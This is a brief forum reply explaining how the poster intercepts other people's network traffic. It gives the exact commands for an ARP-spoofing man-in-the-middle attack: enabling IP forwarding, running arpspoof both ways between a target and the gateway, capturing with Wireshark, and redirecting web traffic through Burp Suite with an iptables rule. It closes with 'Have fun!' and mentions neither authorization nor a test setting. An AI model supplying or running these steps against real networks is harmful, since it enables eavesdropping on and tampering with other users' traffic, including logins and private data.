Re: Slightly off topic...
I just use arpspoof on a linux box to sniff whatever traffic I like:
echo 1 > /proc/sys/net/ipv4/ip_forward (to activate port forwarding)
arpspoof -i wlan0 -t <target> <default gateway> -r (to arpspoof both ways).
Then you just run wireshark. If you want to specifically target HTTP/HTTPS traffic you fire up burpsuite on port 8080 then use an iptables rule to forward all 80/443 traffic to that. Have fun!